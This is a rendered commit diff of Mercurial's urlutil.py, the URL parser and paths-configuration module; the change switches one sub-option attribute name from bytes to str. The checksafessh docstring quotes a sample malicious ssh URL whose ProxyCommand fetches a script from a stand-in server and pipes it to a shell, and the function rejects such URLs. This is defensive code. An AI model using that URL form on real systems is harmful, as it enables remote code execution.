##// END OF EJS Templates
path-suboption: use str for "bookmarks_mode" suboptions...
marmoute -
r51799:5f3c2adc default
parent child Browse files
Show More
@@ -1,980 +1,980 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23 from . import (
24 24 stringutil,
25 25 )
26 26
27 27 from ..revlogutils import (
28 28 constants as revlog_constants,
29 29 )
30 30
31 31
32 32 if pycompat.TYPE_CHECKING:
33 33 from typing import (
34 34 Union,
35 35 )
36 36
37 37 urlreq = urllibcompat.urlreq
38 38
39 39
40 40 def getport(port):
41 41 # type: (Union[bytes, int]) -> int
42 42 """Return the port for a given network service.
43 43
44 44 If port is an integer, it's returned as is. If it's a string, it's
45 45 looked up using socket.getservbyname(). If there's no matching
46 46 service, error.Abort is raised.
47 47 """
48 48 try:
49 49 return int(port)
50 50 except ValueError:
51 51 pass
52 52
53 53 try:
54 54 return socket.getservbyname(pycompat.sysstr(port))
55 55 except socket.error:
56 56 raise error.Abort(
57 57 _(b"no port number associated with service '%s'") % port
58 58 )
59 59
60 60
61 61 class url:
62 62 r"""Reliable URL parser.
63 63
64 64 This parses URLs and provides attributes for the following
65 65 components:
66 66
67 67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
68 68
69 69 Missing components are set to None. The only exception is
70 70 fragment, which is set to '' if present but empty.
71 71
72 72 If parsefragment is False, fragment is included in query. If
73 73 parsequery is False, query is included in path. If both are
74 74 False, both fragment and query are included in path.
75 75
76 76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
77 77
78 78 Note that for backward compatibility reasons, bundle URLs do not
79 79 take host names. That means 'bundle://../' has a path of '../'.
80 80
81 81 Examples:
82 82
83 83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
84 84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
85 85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
86 86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
87 87 >>> url(b'file:///home/joe/repo')
88 88 <url scheme: 'file', path: '/home/joe/repo'>
89 89 >>> url(b'file:///c:/temp/foo/')
90 90 <url scheme: 'file', path: 'c:/temp/foo/'>
91 91 >>> url(b'bundle:foo')
92 92 <url scheme: 'bundle', path: 'foo'>
93 93 >>> url(b'bundle://../foo')
94 94 <url scheme: 'bundle', path: '../foo'>
95 95 >>> url(br'c:\foo\bar')
96 96 <url path: 'c:\\foo\\bar'>
97 97 >>> url(br'\\blah\blah\blah')
98 98 <url path: '\\\\blah\\blah\\blah'>
99 99 >>> url(br'\\blah\blah\blah#baz')
100 100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
101 101 >>> url(br'file:///C:\users\me')
102 102 <url scheme: 'file', path: 'C:\\users\\me'>
103 103
104 104 Authentication credentials:
105 105
106 106 >>> url(b'ssh://joe:xyz@x/repo')
107 107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
108 108 >>> url(b'ssh://joe@x/repo')
109 109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
110 110
111 111 Query strings and fragments:
112 112
113 113 >>> url(b'http://host/a?b#c')
114 114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
115 115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
116 116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
117 117
118 118 Empty path:
119 119
120 120 >>> url(b'')
121 121 <url path: ''>
122 122 >>> url(b'#a')
123 123 <url path: '', fragment: 'a'>
124 124 >>> url(b'http://host/')
125 125 <url scheme: 'http', host: 'host', path: ''>
126 126 >>> url(b'http://host/#a')
127 127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
128 128
129 129 Only scheme:
130 130
131 131 >>> url(b'http:')
132 132 <url scheme: 'http'>
133 133 """
134 134
135 135 _safechars = b"!~*'()+"
136 136 _safepchars = b"/!~*'()+:\\"
137 137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
138 138
139 139 def __init__(self, path, parsequery=True, parsefragment=True):
140 140 # type: (bytes, bool, bool) -> None
141 141 # We slowly chomp away at path until we have only the path left
142 142 self.scheme = self.user = self.passwd = self.host = None
143 143 self.port = self.path = self.query = self.fragment = None
144 144 self._localpath = True
145 145 self._hostport = b''
146 146 self._origpath = path
147 147
148 148 if parsefragment and b'#' in path:
149 149 path, self.fragment = path.split(b'#', 1)
150 150
151 151 # special case for Windows drive letters and UNC paths
152 152 if hasdriveletter(path) or path.startswith(b'\\\\'):
153 153 self.path = path
154 154 return
155 155
156 156 # For compatibility reasons, we can't handle bundle paths as
157 157 # normal URLS
158 158 if path.startswith(b'bundle:'):
159 159 self.scheme = b'bundle'
160 160 path = path[7:]
161 161 if path.startswith(b'//'):
162 162 path = path[2:]
163 163 self.path = path
164 164 return
165 165
166 166 if self._matchscheme(path):
167 167 parts = path.split(b':', 1)
168 168 if parts[0]:
169 169 self.scheme, path = parts
170 170 self._localpath = False
171 171
172 172 if not path:
173 173 path = None
174 174 if self._localpath:
175 175 self.path = b''
176 176 return
177 177 else:
178 178 if self._localpath:
179 179 self.path = path
180 180 return
181 181
182 182 if parsequery and b'?' in path:
183 183 path, self.query = path.split(b'?', 1)
184 184 if not path:
185 185 path = None
186 186 if not self.query:
187 187 self.query = None
188 188
189 189 # // is required to specify a host/authority
190 190 if path and path.startswith(b'//'):
191 191 parts = path[2:].split(b'/', 1)
192 192 if len(parts) > 1:
193 193 self.host, path = parts
194 194 else:
195 195 self.host = parts[0]
196 196 path = None
197 197 if not self.host:
198 198 self.host = None
199 199 # path of file:///d is /d
200 200 # path of file:///d:/ is d:/, not /d:/
201 201 if path and not hasdriveletter(path):
202 202 path = b'/' + path
203 203
204 204 if self.host and b'@' in self.host:
205 205 self.user, self.host = self.host.rsplit(b'@', 1)
206 206 if b':' in self.user:
207 207 self.user, self.passwd = self.user.split(b':', 1)
208 208 if not self.host:
209 209 self.host = None
210 210
211 211 # Don't split on colons in IPv6 addresses without ports
212 212 if (
213 213 self.host
214 214 and b':' in self.host
215 215 and not (
216 216 self.host.startswith(b'[') and self.host.endswith(b']')
217 217 )
218 218 ):
219 219 self._hostport = self.host
220 220 self.host, self.port = self.host.rsplit(b':', 1)
221 221 if not self.host:
222 222 self.host = None
223 223
224 224 if (
225 225 self.host
226 226 and self.scheme == b'file'
227 227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
228 228 ):
229 229 raise error.Abort(
230 230 _(b'file:// URLs can only refer to localhost')
231 231 )
232 232
233 233 self.path = path
234 234
235 235 # leave the query string escaped
236 236 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
237 237 v = getattr(self, a)
238 238 if v is not None:
239 239 setattr(self, a, urlreq.unquote(v))
240 240
241 241 def copy(self):
242 242 u = url(b'temporary useless value')
243 243 u.path = self.path
244 244 u.scheme = self.scheme
245 245 u.user = self.user
246 246 u.passwd = self.passwd
247 247 u.host = self.host
248 248 u.port = self.port
249 249 u.query = self.query
250 250 u.fragment = self.fragment
251 251 u._localpath = self._localpath
252 252 u._hostport = self._hostport
253 253 u._origpath = self._origpath
254 254 return u
255 255
256 256 @encoding.strmethod
257 257 def __repr__(self):
258 258 attrs = []
259 259 for a in (
260 260 'scheme',
261 261 'user',
262 262 'passwd',
263 263 'host',
264 264 'port',
265 265 'path',
266 266 'query',
267 267 'fragment',
268 268 ):
269 269 v = getattr(self, a)
270 270 if v is not None:
271 271 line = b'%s: %r'
272 272 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
273 273 attrs.append(line)
274 274 return b'<url %s>' % b', '.join(attrs)
275 275
276 276 def __bytes__(self):
277 277 r"""Join the URL's components back into a URL string.
278 278
279 279 Examples:
280 280
281 281 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
282 282 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
283 283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
284 284 'http://user:pw@host:80/?foo=bar&baz=42'
285 285 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
286 286 'http://user:pw@host:80/?foo=bar%3dbaz'
287 287 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
288 288 'ssh://user:pw@[::1]:2200//home/joe#'
289 289 >>> bytes(url(b'http://localhost:80//'))
290 290 'http://localhost:80//'
291 291 >>> bytes(url(b'http://localhost:80/'))
292 292 'http://localhost:80/'
293 293 >>> bytes(url(b'http://localhost:80'))
294 294 'http://localhost:80/'
295 295 >>> bytes(url(b'bundle:foo'))
296 296 'bundle:foo'
297 297 >>> bytes(url(b'bundle://../foo'))
298 298 'bundle:../foo'
299 299 >>> bytes(url(b'path'))
300 300 'path'
301 301 >>> bytes(url(b'file:///tmp/foo/bar'))
302 302 'file:///tmp/foo/bar'
303 303 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
304 304 'file:///c:/tmp/foo/bar'
305 305 >>> print(url(br'bundle:foo\bar'))
306 306 bundle:foo\bar
307 307 >>> print(url(br'file:///D:\data\hg'))
308 308 file:///D:\data\hg
309 309 """
310 310 if self._localpath:
311 311 s = self.path
312 312 if self.scheme == b'bundle':
313 313 s = b'bundle:' + s
314 314 if self.fragment:
315 315 s += b'#' + self.fragment
316 316 return s
317 317
318 318 s = self.scheme + b':'
319 319 if self.user or self.passwd or self.host:
320 320 s += b'//'
321 321 elif self.scheme and (
322 322 not self.path
323 323 or self.path.startswith(b'/')
324 324 or hasdriveletter(self.path)
325 325 ):
326 326 s += b'//'
327 327 if hasdriveletter(self.path):
328 328 s += b'/'
329 329 if self.user:
330 330 s += urlreq.quote(self.user, safe=self._safechars)
331 331 if self.passwd:
332 332 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
333 333 if self.user or self.passwd:
334 334 s += b'@'
335 335 if self.host:
336 336 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
337 337 s += urlreq.quote(self.host)
338 338 else:
339 339 s += self.host
340 340 if self.port:
341 341 s += b':' + urlreq.quote(self.port)
342 342 if self.host:
343 343 s += b'/'
344 344 if self.path:
345 345 # TODO: similar to the query string, we should not unescape the
346 346 # path when we store it, the path might contain '%2f' = '/',
347 347 # which we should *not* escape.
348 348 s += urlreq.quote(self.path, safe=self._safepchars)
349 349 if self.query:
350 350 # we store the query in escaped form.
351 351 s += b'?' + self.query
352 352 if self.fragment is not None:
353 353 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
354 354 return s
355 355
356 356 __str__ = encoding.strmethod(__bytes__)
357 357
358 358 def authinfo(self):
359 359 user, passwd = self.user, self.passwd
360 360 try:
361 361 self.user, self.passwd = None, None
362 362 s = bytes(self)
363 363 finally:
364 364 self.user, self.passwd = user, passwd
365 365 if not self.user:
366 366 return (s, None)
367 367 # authinfo[1] is passed to urllib2 password manager, and its
368 368 # URIs must not contain credentials. The host is passed in the
369 369 # URIs list because Python < 2.4.3 uses only that to search for
370 370 # a password.
371 371 return (s, (None, (s, self.host), self.user, self.passwd or b''))
372 372
373 373 def isabs(self):
374 374 if self.scheme and self.scheme != b'file':
375 375 return True # remote URL
376 376 if hasdriveletter(self.path):
377 377 return True # absolute for our purposes - can't be joined()
378 378 if self.path.startswith(br'\\'):
379 379 return True # Windows UNC path
380 380 if self.path.startswith(b'/'):
381 381 return True # POSIX-style
382 382 return False
383 383
384 384 def localpath(self):
385 385 # type: () -> bytes
386 386 if self.scheme == b'file' or self.scheme == b'bundle':
387 387 path = self.path or b'/'
388 388 # For Windows, we need to promote hosts containing drive
389 389 # letters to paths with drive letters.
390 390 if hasdriveletter(self._hostport):
391 391 path = self._hostport + b'/' + self.path
392 392 elif (
393 393 self.host is not None and self.path and not hasdriveletter(path)
394 394 ):
395 395 path = b'/' + path
396 396 return path
397 397 return self._origpath
398 398
399 399 def islocal(self):
400 400 '''whether localpath will return something that posixfile can open'''
401 401 return (
402 402 not self.scheme
403 403 or self.scheme == b'file'
404 404 or self.scheme == b'bundle'
405 405 )
406 406
407 407
408 408 def hasscheme(path):
409 409 # type: (bytes) -> bool
410 410 return bool(url(path).scheme) # cast to help pytype
411 411
412 412
413 413 def hasdriveletter(path):
414 414 # type: (bytes) -> bool
415 415 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
416 416
417 417
418 418 def urllocalpath(path):
419 419 # type: (bytes) -> bytes
420 420 return url(path, parsequery=False, parsefragment=False).localpath()
421 421
422 422
423 423 def checksafessh(path):
424 424 # type: (bytes) -> None
425 425 """check if a path / url is a potentially unsafe ssh exploit (SEC)
426 426
427 427 This is a sanity check for ssh urls. ssh will parse the first item as
428 428 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
429 429 Let's prevent these potentially exploited urls entirely and warn the
430 430 user.
431 431
432 432 Raises an error.Abort when the url is unsafe.
433 433 """
434 434 path = urlreq.unquote(path)
435 435 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
436 436 raise error.Abort(
437 437 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
438 438 )
439 439
440 440
441 441 def hidepassword(u):
442 442 # type: (bytes) -> bytes
443 443 '''hide user credential in a url string'''
444 444 u = url(u)
445 445 if u.passwd:
446 446 u.passwd = b'***'
447 447 return bytes(u)
448 448
449 449
450 450 def removeauth(u):
451 451 # type: (bytes) -> bytes
452 452 '''remove all authentication information from a url string'''
453 453 u = url(u)
454 454 u.user = u.passwd = None
455 455 return bytes(u)
456 456
457 457
458 458 def list_paths(ui, target_path=None):
459 459 """list all the (name, paths) in the passed ui"""
460 460 result = []
461 461 if target_path is None:
462 462 for name, paths in sorted(ui.paths.items()):
463 463 for p in paths:
464 464 result.append((name, p))
465 465
466 466 else:
467 467 for path in ui.paths.get(target_path, []):
468 468 result.append((target_path, path))
469 469 return result
470 470
471 471
472 472 def try_path(ui, url):
473 473 """try to build a path from a url
474 474
475 475 Return None if no Path could built.
476 476 """
477 477 try:
478 478 # we pass the ui instance are warning might need to be issued
479 479 return path(ui, None, rawloc=url)
480 480 except ValueError:
481 481 return None
482 482
483 483
484 484 def get_push_paths(repo, ui, dests):
485 485 """yields all the `path` selected as push destination by `dests`"""
486 486 if not dests:
487 487 if b'default-push' in ui.paths:
488 488 for p in ui.paths[b'default-push']:
489 489 yield p.get_push_variant()
490 490 elif b'default' in ui.paths:
491 491 for p in ui.paths[b'default']:
492 492 yield p.get_push_variant()
493 493 else:
494 494 raise error.ConfigError(
495 495 _(b'default repository not configured!'),
496 496 hint=_(b"see 'hg help config.paths'"),
497 497 )
498 498 else:
499 499 for dest in dests:
500 500 if dest in ui.paths:
501 501 for p in ui.paths[dest]:
502 502 yield p.get_push_variant()
503 503 else:
504 504 path = try_path(ui, dest)
505 505 if path is None:
506 506 msg = _(b'repository %s does not exist')
507 507 msg %= dest
508 508 raise error.RepoError(msg)
509 509 yield path.get_push_variant()
510 510
511 511
512 512 def get_pull_paths(repo, ui, sources):
513 513 """yields all the `(path, branch)` selected as pull source by `sources`"""
514 514 if not sources:
515 515 sources = [b'default']
516 516 for source in sources:
517 517 if source in ui.paths:
518 518 for p in ui.paths[source]:
519 519 yield p
520 520 else:
521 521 p = path(ui, None, source, validate_path=False)
522 522 yield p
523 523
524 524
525 525 def get_unique_push_path(action, repo, ui, dest=None):
526 526 """return a unique `path` or abort if multiple are found
527 527
528 528 This is useful for command and action that does not support multiple
529 529 destination (yet).
530 530
531 531 The `action` parameter will be used for the error message.
532 532 """
533 533 if dest is None:
534 534 dests = []
535 535 else:
536 536 dests = [dest]
537 537 dests = list(get_push_paths(repo, ui, dests))
538 538 if len(dests) != 1:
539 539 if dest is None:
540 540 msg = _(
541 541 b"default path points to %d urls while %s only supports one"
542 542 )
543 543 msg %= (len(dests), action)
544 544 else:
545 545 msg = _(b"path points to %d urls while %s only supports one: %s")
546 546 msg %= (len(dests), action, dest)
547 547 raise error.Abort(msg)
548 548 return dests[0]
549 549
550 550
551 551 def get_unique_pull_path_obj(action, ui, source=None):
552 552 """return a unique `(path, branch)` or abort if multiple are found
553 553
554 554 This is useful for command and action that does not support multiple
555 555 destination (yet).
556 556
557 557 The `action` parameter will be used for the error message.
558 558
559 559 note: Ideally, this function would be called `get_unique_pull_path` to
560 560 mirror the `get_unique_push_path`, but the name was already taken.
561 561 """
562 562 sources = []
563 563 if source is not None:
564 564 sources.append(source)
565 565
566 566 pull_paths = list(get_pull_paths(None, ui, sources=sources))
567 567 path_count = len(pull_paths)
568 568 if path_count != 1:
569 569 if source is None:
570 570 msg = _(
571 571 b"default path points to %d urls while %s only supports one"
572 572 )
573 573 msg %= (path_count, action)
574 574 else:
575 575 msg = _(b"path points to %d urls while %s only supports one: %s")
576 576 msg %= (path_count, action, source)
577 577 raise error.Abort(msg)
578 578 return pull_paths[0]
579 579
580 580
581 581 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
582 582 """return a unique `(url, branch)` or abort if multiple are found
583 583
584 584 See `get_unique_pull_path_obj` for details.
585 585 """
586 586 path = get_unique_pull_path_obj(action, ui, source=source)
587 587 return parseurl(path.rawloc, default_branches)
588 588
589 589
590 590 def get_clone_path_obj(ui, source):
591 591 """return the `(origsource, url, branch)` selected as clone source"""
592 592 if source == b'':
593 593 return None
594 594 return get_unique_pull_path_obj(b'clone', ui, source=source)
595 595
596 596
597 597 def get_clone_path(ui, source, default_branches=None):
598 598 """return the `(origsource, url, branch)` selected as clone source"""
599 599 path = get_clone_path_obj(ui, source)
600 600 if path is None:
601 601 return (b'', b'', (None, default_branches))
602 602 if default_branches is None:
603 603 default_branches = []
604 604 branches = (path.branch, default_branches)
605 605 return path.rawloc, path.loc, branches
606 606
607 607
608 608 def parseurl(path, branches=None):
609 609 '''parse url#branch, returning (url, (branch, branches))'''
610 610 u = url(path)
611 611 branch = None
612 612 if u.fragment:
613 613 branch = u.fragment
614 614 u.fragment = None
615 615 return bytes(u), (branch, branches or [])
616 616
617 617
618 618 class paths(dict):
619 619 """Represents a collection of paths and their configs.
620 620
621 621 Data is initially derived from ui instances and the config files they have
622 622 loaded.
623 623 """
624 624
625 625 def __init__(self, ui):
626 626 dict.__init__(self)
627 627
628 628 home_path = os.path.expanduser(b'~')
629 629
630 630 for name, value in ui.configitems(b'paths', ignoresub=True):
631 631 # No location is the same as not existing.
632 632 if not value:
633 633 continue
634 634 _value, sub_opts = ui.configsuboptions(b'paths', name)
635 635 s = ui.configsource(b'paths', name)
636 636 root_key = (name, value, s)
637 637 root = ui._path_to_root.get(root_key, home_path)
638 638
639 639 multi_url = sub_opts.get(b'multi-urls')
640 640 if multi_url is not None and stringutil.parsebool(multi_url):
641 641 base_locs = stringutil.parselist(value)
642 642 else:
643 643 base_locs = [value]
644 644
645 645 paths = []
646 646 for loc in base_locs:
647 647 loc = os.path.expandvars(loc)
648 648 loc = os.path.expanduser(loc)
649 649 if not hasscheme(loc) and not os.path.isabs(loc):
650 650 loc = os.path.normpath(os.path.join(root, loc))
651 651 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
652 652 paths.append(p)
653 653 self[name] = paths
654 654
655 655 for name, old_paths in sorted(self.items()):
656 656 new_paths = []
657 657 for p in old_paths:
658 658 new_paths.extend(_chain_path(p, ui, self))
659 659 self[name] = new_paths
660 660
661 661
662 662 _pathsuboptions = {}
663 663 # a dictionnary of methods that can be used to format a sub-option value
664 664 path_suboptions_display = {}
665 665
666 666
667 667 def pathsuboption(option, attr, display=pycompat.bytestr):
668 668 """Decorator used to declare a path sub-option.
669 669
670 670 Arguments are the sub-option name and the attribute it should set on
671 671 ``path`` instances.
672 672
673 673 The decorated function will receive as arguments a ``ui`` instance,
674 674 ``path`` instance, and the string value of this option from the config.
675 675 The function should return the value that will be set on the ``path``
676 676 instance.
677 677
678 678 The optional `display` argument is a function that can be used to format
679 679 the value when displayed to the user (like in `hg paths` for example).
680 680
681 681 This decorator can be used to perform additional verification of
682 682 sub-options and to change the type of sub-options.
683 683 """
684 684
685 685 def register(func):
686 686 _pathsuboptions[option] = (attr, func)
687 687 path_suboptions_display[option] = display
688 688 return func
689 689
690 690 return register
691 691
692 692
693 693 def display_bool(value):
694 694 """display a boolean suboption back to the user"""
695 695 return b'yes' if value else b'no'
696 696
697 697
698 698 @pathsuboption(b'pushurl', b'_pushloc')
699 699 def pushurlpathoption(ui, path, value):
700 700 u = url(value)
701 701 # Actually require a URL.
702 702 if not u.scheme:
703 703 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
704 704 msg %= (path.name, value)
705 705 ui.warn(msg)
706 706 return None
707 707
708 708 # Don't support the #foo syntax in the push URL to declare branch to
709 709 # push.
710 710 if u.fragment:
711 711 ui.warn(
712 712 _(
713 713 b'("#fragment" in paths.%s:pushurl not supported; '
714 714 b'ignoring)\n'
715 715 )
716 716 % path.name
717 717 )
718 718 u.fragment = None
719 719
720 720 return bytes(u)
721 721
722 722
723 723 @pathsuboption(b'pushrev', b'pushrev')
724 724 def pushrevpathoption(ui, path, value):
725 725 return value
726 726
727 727
728 728 SUPPORTED_BOOKMARKS_MODES = {
729 729 b'default',
730 730 b'mirror',
731 731 b'ignore',
732 732 }
733 733
734 734
735 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
735 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
736 736 def bookmarks_mode_option(ui, path, value):
737 737 if value not in SUPPORTED_BOOKMARKS_MODES:
738 738 path_name = path.name
739 739 if path_name is None:
740 740 # this is an "anonymous" path, config comes from the global one
741 741 path_name = b'*'
742 742 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
743 743 msg %= (path_name, value)
744 744 ui.warn(msg)
745 745 if value == b'default':
746 746 value = None
747 747 return value
748 748
749 749
750 750 DELTA_REUSE_POLICIES = {
751 751 b'default': None,
752 752 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
753 753 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
754 754 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
755 755 }
756 756 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
757 757
758 758
759 759 @pathsuboption(
760 760 b'pulled-delta-reuse-policy',
761 761 'delta_reuse_policy',
762 762 display=DELTA_REUSE_POLICIES_NAME.get,
763 763 )
764 764 def delta_reuse_policy(ui, path, value):
765 765 if value not in DELTA_REUSE_POLICIES:
766 766 path_name = path.name
767 767 if path_name is None:
768 768 # this is an "anonymous" path, config comes from the global one
769 769 path_name = b'*'
770 770 msg = _(
771 771 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
772 772 )
773 773 msg %= (path_name, value)
774 774 ui.warn(msg)
775 775 return DELTA_REUSE_POLICIES.get(value)
776 776
777 777
778 778 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
779 779 def multiurls_pathoption(ui, path, value):
780 780 res = stringutil.parsebool(value)
781 781 if res is None:
782 782 ui.warn(
783 783 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
784 784 )
785 785 res = False
786 786 return res
787 787
788 788
789 789 def _chain_path(base_path, ui, paths):
790 790 """return the result of "path://" logic applied on a given path"""
791 791 new_paths = []
792 792 if base_path.url.scheme != b'path':
793 793 new_paths.append(base_path)
794 794 else:
795 795 assert base_path.url.path is None
796 796 sub_paths = paths.get(base_path.url.host)
797 797 if sub_paths is None:
798 798 m = _(b'cannot use `%s`, "%s" is not a known path')
799 799 m %= (base_path.rawloc, base_path.url.host)
800 800 raise error.Abort(m)
801 801 for subpath in sub_paths:
802 802 path = base_path.copy()
803 803 if subpath.raw_url.scheme == b'path':
804 804 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
805 805 m %= (path.rawloc, path.url.host)
806 806 raise error.Abort(m)
807 807 path.url = subpath.url
808 808 path.rawloc = subpath.rawloc
809 809 path.loc = subpath.loc
810 810 if path.branch is None:
811 811 path.branch = subpath.branch
812 812 else:
813 813 base = path.rawloc.rsplit(b'#', 1)[0]
814 814 path.rawloc = b'%s#%s' % (base, path.branch)
815 815 suboptions = subpath._all_sub_opts.copy()
816 816 suboptions.update(path._own_sub_opts)
817 817 path._apply_suboptions(ui, suboptions)
818 818 new_paths.append(path)
819 819 return new_paths
820 820
821 821
822 822 class path:
823 823 """Represents an individual path and its configuration."""
824 824
825 825 def __init__(
826 826 self,
827 827 ui=None,
828 828 name=None,
829 829 rawloc=None,
830 830 suboptions=None,
831 831 validate_path=True,
832 832 ):
833 833 """Construct a path from its config options.
834 834
835 835 ``ui`` is the ``ui`` instance the path is coming from.
836 836 ``name`` is the symbolic name of the path.
837 837 ``rawloc`` is the raw location, as defined in the config.
838 838 ``_pushloc`` is the raw locations pushes should be made to.
839 839 (see the `get_push_variant` method)
840 840
841 841 If ``name`` is not defined, we require that the location be a) a local
842 842 filesystem path with a .hg directory or b) a URL. If not,
843 843 ``ValueError`` is raised.
844 844 """
845 845 if ui is None:
846 846 # used in copy
847 847 assert name is None
848 848 assert rawloc is None
849 849 assert suboptions is None
850 850 return
851 851
852 852 if not rawloc:
853 853 raise ValueError(b'rawloc must be defined')
854 854
855 855 self.name = name
856 856
857 857 # set by path variant to point to their "non-push" version
858 858 self.main_path = None
859 859 self._setup_url(rawloc)
860 860
861 861 if validate_path:
862 862 self._validate_path()
863 863
864 864 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
865 865 self._own_sub_opts = {}
866 866 if suboptions is not None:
867 867 self._own_sub_opts = suboptions.copy()
868 868 sub_opts.update(suboptions)
869 869 self._all_sub_opts = sub_opts.copy()
870 870
871 871 self._apply_suboptions(ui, sub_opts)
872 872
873 873 def _setup_url(self, rawloc):
874 874 # Locations may define branches via syntax <base>#<branch>.
875 875 u = url(rawloc)
876 876 branch = None
877 877 if u.fragment:
878 878 branch = u.fragment
879 879 u.fragment = None
880 880
881 881 self.url = u
882 882 # the url from the config/command line before dealing with `path://`
883 883 self.raw_url = u.copy()
884 884 self.branch = branch
885 885
886 886 self.rawloc = rawloc
887 887 self.loc = b'%s' % u
888 888
889 889 def copy(self, new_raw_location=None):
890 890 """make a copy of this path object
891 891
892 892 When `new_raw_location` is set, the new path will point to it.
893 893 This is used by the scheme extension so expand the scheme.
894 894 """
895 895 new = self.__class__()
896 896 for k, v in self.__dict__.items():
897 897 new_copy = getattr(v, 'copy', None)
898 898 if new_copy is not None:
899 899 v = new_copy()
900 900 new.__dict__[k] = v
901 901 if new_raw_location is not None:
902 902 new._setup_url(new_raw_location)
903 903 return new
904 904
905 905 @property
906 906 def is_push_variant(self):
907 907 """is this a path variant to be used for pushing"""
908 908 return self.main_path is not None
909 909
910 910 def get_push_variant(self):
911 911 """get a "copy" of the path, but suitable for pushing
912 912
913 913 This means using the value of the `pushurl` option (if any) as the url.
914 914
915 915 The original path is available in the `main_path` attribute.
916 916 """
917 917 if self.main_path:
918 918 return self
919 919 new = self.copy()
920 920 new.main_path = self
921 921 if self._pushloc:
922 922 new._setup_url(self._pushloc)
923 923 return new
924 924
925 925 def pushloc(self):
926 926 """compatibility layer for the deprecated attributes"""
927 927 from .. import util # avoid a cycle
928 928
929 929 msg = "don't use path.pushloc, use path.get_push_variant()"
930 930 util.nouideprecwarn(msg, b"6.5")
931 931 return self._pushloc
932 932
933 933 def _validate_path(self):
934 934 # When given a raw location but not a symbolic name, validate the
935 935 # location is valid.
936 936 if (
937 937 not self.name
938 938 and not self.url.scheme
939 939 and not self._isvalidlocalpath(self.loc)
940 940 ):
941 941 raise ValueError(
942 942 b'location is not a URL or path to a local '
943 943 b'repo: %s' % self.rawloc
944 944 )
945 945
946 946 def _apply_suboptions(self, ui, sub_options):
947 947 # Now process the sub-options. If a sub-option is registered, its
948 948 # attribute will always be present. The value will be None if there
949 949 # was no valid sub-option.
950 950 for suboption, (attr, func) in _pathsuboptions.items():
951 951 if suboption not in sub_options:
952 952 setattr(self, attr, None)
953 953 continue
954 954
955 955 value = func(ui, self, sub_options[suboption])
956 956 setattr(self, attr, value)
957 957
958 958 def _isvalidlocalpath(self, path):
959 959 """Returns True if the given path is a potentially valid repository.
960 960 This is its own function so that extensions can change the definition of
961 961 'valid' in this case (like when pulling from a git repo into a hg
962 962 one)."""
963 963 try:
964 964 return os.path.isdir(os.path.join(path, b'.hg'))
965 965 # Python 2 may return TypeError. Python 3, ValueError.
966 966 except (TypeError, ValueError):
967 967 return False
968 968
969 969 @property
970 970 def suboptions(self):
971 971 """Return sub-options and their values for this path.
972 972
973 973 This is intended to be used for presentation purposes.
974 974 """
975 975 d = {}
976 976 for subopt, (attr, _func) in _pathsuboptions.items():
977 977 value = getattr(self, attr)
978 978 if value is not None:
979 979 d[subopt] = value
980 980 return d
General Comments 0
You need to be logged in to leave comments. Login now